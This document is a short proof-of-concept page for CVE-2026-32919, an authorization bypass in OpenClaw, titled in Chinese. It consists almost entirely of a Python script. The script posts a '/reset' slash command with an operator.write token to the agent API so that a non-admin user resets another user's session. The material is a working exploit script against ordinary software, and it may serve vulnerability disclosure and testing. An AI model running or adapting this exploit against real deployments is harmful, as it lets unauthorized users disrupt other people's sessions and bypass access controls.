CVE-2026-32919 OpenClaw 权限绕过漏洞导致会话重置

# PoC for CVE-2026-32919: OpenClaw Authorization Bypass # This script demonstrates how an operator.write user can reset a session. import requests TARGET_URL = "http://target-openclaw-instance/api/agent" # Assuming the attacker has a valid token for operator.write AUTH_TOKEN = "Bearer <operator_write_token>" SESSION_ID = "target_session_id" headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Payload containing the slash command to reset the conversation payload = { "message": "/reset", "session_id": SESSION_ID, "context": {} } try: response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Successfully reset the target session without admin privileges.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")